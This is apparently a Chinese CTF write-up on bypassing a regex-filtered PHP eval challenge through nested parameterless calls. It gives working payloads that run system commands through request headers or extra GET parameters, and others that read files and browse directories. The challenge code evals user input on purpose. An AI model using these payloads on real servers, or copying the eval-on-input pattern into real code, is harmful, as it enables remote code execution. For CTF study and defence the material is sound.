前言
<?php
# @Author: h1xa
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
一般来说当我们可以控制或自己上传一个木马后,就可以进行任意命令执行,但像上面这样/[^\W]+\((?R)?\)/
的正则过滤方式,我们不能输入任何参数,这样想绕过的话一个大的思路就是通过套娃,通过让一个函数的返回值作为另一个函数的参数,也就是这样a(b(c()));
,最终达到rce的效果,下面列几种绕过方法
绕过
使用getallheaders()函数
<?php
$a=getallheaders();
var_dump($a);
array (size=14)
'Sec-Gpc' => string '1' (length=1)
'Dnt' => string '1' (length=1)
'Sec-Fetch-User' => string '?1' (length=2)
'Sec-Fetch-Site' => string 'none' (length=4)
'Sec-Fetch-Mode' => string 'navigate' (length=8)
'Sec-Fetch-Dest' => string 'document' (length=8)
'Upgrade-Insecure-Requests' => string '1' (length=1)
'Cookie' => string '---------------' (length=50)
'Connection' => string 'close' (length=5)
'Accept-Encoding' => string 'gzip, deflate' (length=13)
'Accept-Language' => string 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' (length=59)
'Accept' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' (length=85)
'User-Agent' => string 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' (length=78)
'Host' => string 'localhost' (length=9)
本地抓包测试,与burp中内容完全相同,这里我们知道由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行。这里我们还需要一个函数来从请求头数组中拿到我们需要的请求头元素,并能够执行它,这里用到end,后拿var_dump把它显示出了
这里在本地做一个测试
这里下面的值完全由我们控制,但是它的位置不在最后一位end函数没法执行,这里给它挪了下位置跑到最后一位了,如果这里能移到第一位的话可以先移到第一位然后使用array_reverse
给它调换到最后一位
这里本地是window,一开始试的ls命令一直没反应。我们发现成功命令执行
?code=eval(end(getallheaders()));
Content-Type: system('dir');
使用get_defined_vars()
返回由所有已定义变量所组成的数组,会返回$_GET
,$_POST
,$_COOKIE
,$_FILES
,顺序也是这样的
这里以get为例,再加一个参数
这里这么多变量,需要再使用current函数,它是用来返回数组中的当前单元, 默认取第一个值,所以取出get后使用同样的方法
?code=eval(end(current(get_defined_vars())));&test=system('dir');
使用session_start()+session_id()
仅限php7以下的版本
使用session_start()启动session机制然后通过session_id()读取id,这里偏向于文件读取,PHPSESSID也都是数字字母,所有需要编码输入
?code=show_source(session_id(session_start()));
Cookie: PHPSESSID=index.php
版本问题不演示了。
使用scandir实现文件读取同级文件
这个应该是最常见的,print_r(scandir('.'));
就表示获取当前目录下的文件,但是由于正则表达式限制,不能加参数,所以这里引入current() 返回数组中的当前单元(localeconv())
,localeconv()
函数返回一包含本地数字及货币格式信息的数组,current()
返回数组中的当前单元(pos也是和current一样)
因为不能输入参数,所以这里利用array_flip()
函数将读取当前目录的键和值进行反转,然后利用array_rand()
来随机获得就能得到flag.php
这里也可以通过array_reverse来逆转数组,通过next()函数获取下一个值,最后通过文件读取函数读取内容
通过dirname()实现任意文件读取
这里用到一个重点就是dirname()函数,使用它对目录进行执行的话就会返回上级目录,演示一下
var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));
这里只是看见根目录,该怎么到达这个目录呢,网上有说到用chdir
var_dump(scandir(chdir(dirname(dirname(dirname(getcwd()))))));
但是这里返回bool值所以报错,这里ctfshow的大佬利用了一个特性:readfile
与show_source
当readfile
第二个参数不设定为true,则不会寻找include_path里面的文件进行读取,而show_source
默认情况下会包含include_path,所以直接给出payload
show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));
这里用set_include_path函数同时实现了两个功能。
- 设置文件包含路径,方便show_source在其他目录进行读取
- 返回. :/usr/local/php
利用array_rand
不断执行它的目的是得到一个/
,然后进入根目录后就可以再通过反转随机来getflag,所以这里两个rand函数,getflag需要它两同时匹配到,那得到flag几率就差不多1%了
使用getenv()
php有很多超全局变量
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
利用array_flip
和array_rand
来爆破getenv()
环境变量的列表,拿到我们指定位置想要的恶意参数,个人觉得挺离谱挺的一个办法